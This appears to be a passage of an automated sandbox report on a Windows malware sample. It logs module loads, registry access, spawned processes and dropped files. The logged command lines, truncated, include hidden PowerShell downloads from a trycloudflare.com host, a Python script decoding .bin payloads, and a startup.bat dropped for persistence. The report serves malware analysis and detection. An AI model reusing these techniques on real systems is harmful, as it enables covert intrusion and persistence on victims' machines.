base 7ffa93670000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffa93590000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffa93450000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffa93400000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffa93320000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffa92610000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffab8770000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffad6650000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffacace0000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ffacab80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffada700000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffad68c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffad3860000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffab94c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffaceb90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffacf0d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffad6410000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffac8bd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffac8c50000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffad9790000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffa923d0000 "powershell.exe" loaded module "OLEAUT32" at base 7ffad9900000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffabc710000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffa96040000 "python.exe" loaded module "KERNEL32" at base 7ffadac60000 "python.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffad7fa0000 "python.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffad7fa0000 "python.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffad7fa0000 "python.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffad97c0000 "python.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffad7fa0000 "python.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffad7fa0000 "python.exe" loaded module "API-MS-WIN-CORE-FILE-L2-1-4" at base 7ffad7fa0000 "python.exe" loaded module "%LOCALAPPDATA%\XT\_CTYPES.PYD" at base 7ffac46e0000 "python.exe" loaded module "%LOCALAPPDATA%\XT\_BZ2.PYD" at base 7ffac46c0000 "python.exe" loaded module "%LOCALAPPDATA%\XT\_LZMA.PYD" at base 7ffac2dd0000 "python.exe" loaded module "%LOCALAPPDATA%\XT\_ZSTD.PYD" at base 7ffabc700000 "python.exe" loaded module "KERNEL32.DLL" at base 7ffadac60000 "python.exe" loaded module "NTDLL.DLL" at base 7ffadad40000 "python.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffad70e0000 "python.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffad7fa0000 "python.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffab8700000 "python.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffad7f20000 "python.exe" loaded module "%LOCALAPPDATA%\XT\PYTHON3" at base 276bb9c0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\PYTHON3" at base 1c705f80000 "python.exe" loaded module "KERNELBASE.DLL" at base 7ffad7fa0000 "python.exe" loaded module "%LOCALAPPDATA%\XT\_CTYPES.PYD" at base 7ffac46c000041:T5c4,"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin" was detected as "plain text" and name: "Format" "libcrypto-3.dll" was detected as "plain text" and name: "Format" "sqlite3.dll" was detected as "plain text" and name: "Format" "libssl-3.dll" was detected as "plain text" and name: "Format" "vcruntime140.dll" was detected as "plain text" and name: "Format" "python.exe" was detected as "plain text" and name: "Format" "pythonw.exe" was detected as "plain text" and name: "Format" "s1.bin" was detected as "plain text" and name: "Format" "python3.dll" was detected as "plain text" and name: "Format" "vcruntime140_1.dll" was detected as "plain text" and name: "Format" "unicodedata.pyd" was detected as "plain text" and name: "Format" "_zstd.pyd" was detected as "plain text" and name: "Format" "_decimal.pyd" was detected as "plain text" and name: "Format" "pyexpat.pyd" was detected as "plain text" and name: "Format" "_ssl.pyd" was detected as "plain text" and name: "Format" "_lzma.pyd" was detected as "plain text" and name: "Format" "_ctypes.pyd" was detected as "plain text" and name: "Format" "_elementtree.pyd" was detected as "plain text" and name: "Format" "_sqlite3.pyd" was detected as "plain text" and name: "Format" "_bz2.pyd" was detected as "plain text" and name: "Format" "_socket.pyd" was detected as "plain text" and name: "Format" "_asyncio.pyd" was detected as "plain text" and name: "Format"42:T711,"cmd.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "cmd.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "cmd.exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\TREATAS") "cmd.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "cmd.exe" touched "Microsoft Url History Service" (Path: "HKCU\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\TREATAS") "cmd.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "powershell.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "powershell.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "cmd.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "cmd.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "cmd.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "cmd.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS")43:T146b,Process "msedge.exe" (UID: 00000000-00004204) was launched with new environment variables: "A="%LOCALAPPDATA%\xt", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", USERDNSDOMAIN="DESKTOP-FVVF82A", FPS_BROWSER_USER_PROFILE_STRING="Default", baseUrl="https://opposite-lodge-strict-closes.trycloudflare.com"" Process "msedge.exe" (UID: 00000000-00004204) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles, NUMBER_OF_PROCESSORS" Process "msedge.exe" (UID: 00000000-00004204) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "powershell.exe" (UID: 00000000-00003044) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="29", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_4204_ABPWENCUPXABKENN", EDGE_BROWSER_PID="4204", EDGE_VARIATIONS_SEED_ETAG=""uiIxlFHEqYK/kbVuiEU5CgZajeU9QmL4/F97KjHfTZw="", EDGE_METRICS_CLIENT_ID_HASH="-5815550854748070847"" Process "msedge.exe" (UID: 00000000-00003720) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00006192) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="29", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_VARIATIONS_SEED_ETAG=""uiIxlFHEqYK/kbVuiEU5CgZajeU9QmL4/F97KjHfTZw="", EDGE_METRICS_CLIENT_ID_HASH="-5815550854748070847"" Process "msedge.exe" (UID: 00000000-00006140) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT"" Process "cmd.exe" (UID: 00000000-00003108) was launched with modified environment variables: "Path" Process "cmd.exe" (UID: 00000000-00003108) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00001084) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="29", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_4204_ABPWENCUPXABKENN", EDGE_BROWSER_PID="4204", EDGE_VARIATIONS_SEED_ETAG=""uiIxlFHEqYK/kbVuiEU5CgZajeU9QmL4/F97KjHfTZw="", EDGE_METRICS_CLIENT_ID_HASH="-5815550854748070847"" Process "msedge.exe" (UID: 00000000-00001084) was launched with modified environment variables: "Path" Process "powershell.exe" (UID: 00000000-00006572) was launched with modified environment variables: "Path" Process "powershell.exe" (UID: 00000000-00006572) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00007672) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="29", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_4204_ABPWENCUPXABKENN", EDGE_BROWSER_PID="4204", EDGE_VARIATIONS_SEED_ETAG=""uiIxlFHEqYK/kbVuiEU5CgZajeU9QmL4/F97KjHfTZw="", EDGE_METRICS_CLIENT_ID_HASH="-5815550854748070847"" Process "msedge.exe" (UID: 00000000-00007672) was launched with modified environment variables: "Path" Process "python.exe" (UID: 00000000-00007708) was launched with modified environment variables: "Path" Process "python.exe" (UID: 00000000-00007708) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "python.exe" (UID: 00000000-00003540) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "python.exe" (UID: 00000000-00003540) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00004684) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="29", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_4204_ABPWENCUPXABKENN", EDGE_BROWSER_PID="4204", EDGE_VARIATIONS_SEED_ETAG=""uiIxlFHEqYK/kbVuiEU5CgZajeU9QmL4/F97KjHfTZw="", EDGE_METRICS_CLIENT_ID_HASH="-5815550854748070847"" Process "msedge.exe" (UID: 00000000-00004684) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, Path" Process "msedge.exe" (UID: 00000000-00004684) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432"44:T102f,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00003044-00000C2E-1624063384] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00003044-00000C2B-1671383912] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00003044-00000C2B-1671791686] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003044-00000C2B-1672017341] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00003044-00000C2B-1672388342] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00003044-00000C2B-1672479999] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00003044-00000C2B-1672560707] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00003044-00000C2B-1672657014] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00003044-00000C2B-1672809067] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00003044-00000C2B-1672950343] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00003044-00000C2B-1673077913] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00003044-00000C2B-1673400743] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00003044-00000C2B-1673614593] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00003044-00000C2B-1674094333] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003044-00000C2B-1674106537] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00003044-00000C2B-1674799203] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00003044-00000C2B-1675099864] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00003044-00000C2B-1675148278] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00003044-00000C2B-1675276560] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00003044-00000C2B-1675768214] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00003044-00000C2B-1675946801] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00003044-00000C2B-1676138349] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00003044-00000C2B-1676146581] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00003044-00000C2B-1676531619] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll" [Source: 00000000-00003044-00000C2B-1676602095]45:Td15,Spawned process "msedge.exe" with commandline "--single-argument https://opposite-lodge-strict-closes.trycloudf ..." (UID: 00000000-00004204) Spawned process "powershell.exe" with commandline "powershell -WindowStyle Hidden -Command "Start-Process -FilePat ..." (UID: 00000000-00003044), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00003720) Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00006192) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00006140) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00007120) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00002072) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00003636) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00004648) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00004992) Spawned process "msedge.exe" with commandline "--type=ppapi --lang=en-US --device-scale-factor=1 --ppapi-antial ..." (UID: 00000000-00005756) Spawned process "cmd.exe" with commandline "/c ""C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c ..." (UID: 00000000-00003108) Spawned process "powershell.exe" with commandline "powershell -Command "iwr 'https://www.python.org/ftp/python/3.1 ..." (UID: 00000000-00005872), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00001084), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00003160), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00000408), Spawned process "powershell.exe" with commandline "powershell -Command "iwr 'https://opposite-lodge-strict-closes. ..." (UID: 00000000-00006572), Spawned process "python.exe" with commandline "python zmorf.py -i BB1.bin -k BB1.txt -c -v" (UID: 00000000-00007628), Spawned process "explorer.exe" (UID: 00000000-00004720), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00007672), Spawned process "python.exe" with commandline "python zmorf.py -i s1.bin -k s1.txt -c -v" (UID: 00000000-00007708), Spawned process "explorer.exe" (UID: 00000000-00006600), Spawned process "python.exe" with commandline ""%LOCALAPPDATA%\\xt\\zmorf.py" -i s2.bin -k s2.txt -c -v" (UID: 00000000-00003540), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00004684), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00003224)46:Td15,Spawned process "msedge.exe" with commandline "--single-argument https://opposite-lodge-strict-closes.trycloudf ..." (UID: 00000000-00004204) Spawned process "powershell.exe" with commandline "powershell -WindowStyle Hidden -Command "Start-Process -FilePat ..." (UID: 00000000-00003044), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00003720) Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00006192) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00006140) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00007120) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00002072) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00003636) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00004648) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00004992) Spawned process "msedge.exe" with commandline "--type=ppapi --lang=en-US --device-scale-factor=1 --ppapi-antial ..." (UID: 00000000-00005756) Spawned process "cmd.exe" with commandline "/c ""C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c ..." (UID: 00000000-00003108) Spawned process "powershell.exe" with commandline "powershell -Command "iwr 'https://www.python.org/ftp/python/3.1 ..." (UID: 00000000-00005872), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00001084), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00003160), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00000408), Spawned process "powershell.exe" with commandline "powershell -Command "iwr 'https://opposite-lodge-strict-closes. ..." (UID: 00000000-00006572), Spawned process "python.exe" with commandline "python zmorf.py -i BB1.bin -k BB1.txt -c -v" (UID: 00000000-00007628), Spawned process "explorer.exe" (UID: 00000000-00004720), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00007672), Spawned process "python.exe" with commandline "python zmorf.py -i s1.bin -k s1.txt -c -v" (UID: 00000000-00007708), Spawned process "explorer.exe" (UID: 00000000-00006600), Spawned process "python.exe" with commandline ""%LOCALAPPDATA%\\xt\\zmorf.py" -i s2.bin -k s2.txt -c -v" (UID: 00000000-00003540), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00004684), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00003224)47:T42d,The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: E4:3F:DE:B2:E9:3D:BE:F1:BB:6C:E4:8B:45:0C:7F:10:D8:0B:BD:29; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Atlas R3 DV TLS CA 2025 Q4, O=GlobalSign nv-sa, C=BE" (SHA1: C3:5B:71:2B:BA:DA:2C:A5:EE:53:78:1C:79:2B:54:32:4D:1E:41:DB; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3" (SHA1: FC:FA:4D:AC:C7:66:CE:DD:FD:B0:1A:E9:5B:62:C4:D3:5F:0F:B8:65; see report for more information)48:T1cbf,"python314.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%LOCALAPPDATA%\xt\python314.dll]- [targetUID: 00000000-00007708] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\xt\libcrypto-3.dll]- [targetUID: 00000000-00005872] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\sqlite3.dll]- [targetUID: 00000000-00005872] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\xt\libssl-3.dll]- [targetUID: 00000000-00005872] "python.cat" has type "DER Encoded PKCS#7 Signed Data"- Location: [%LOCALAPPDATA%\xt\python.cat]- [targetUID: 00000000-00005872] "vcruntime140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\xt\vcruntime140.dll]- [targetUID: 00000000-00007708] "python.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\python.exe]- [targetUID: 00000000-00003108] "pythonw.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "s1.bin" has type "DOS executable (COM) start instruction 0xb8e8cc2d 3e404abf"- Location: [%LOCALAPPDATA%\xt\s1.bin]- [targetUID: 00000000-00007708] "s2.bin" has type "data"- Location: [%LOCALAPPDATA%\xt\s2.bin]- [targetUID: 00000000-00006572] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%LOCALAPPDATA%\xt\python3.dll]- [targetUID: 00000000-00007708] "urlref_httpsopposite-lodge-strict-closes.trycloudflare.comxtBB1.bin" has type "data"- [targetUID: N/A] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\vcruntime140_1.dll]- [targetUID: 00000000-00005872] "startup.bat" has type "DOS batch file ASCII text with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat]- [targetUID: 00000000-00003108] "p.zip" has type "Zip archive data at least v2.0 to extract compression method=deflate"- Location: [%TEMP%\p.zip]- [targetUID: 00000000-00005872] "python314.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified last modified Sun Sep 18 2025 10:22:30 uncompressed size 5036 method=deflate"- Location: [%LOCALAPPDATA%\xt\python314.zip]- [targetUID: 00000000-00007708] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\unicodedata.pyd]- [targetUID: 00000000-00005872] "_zstd.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: 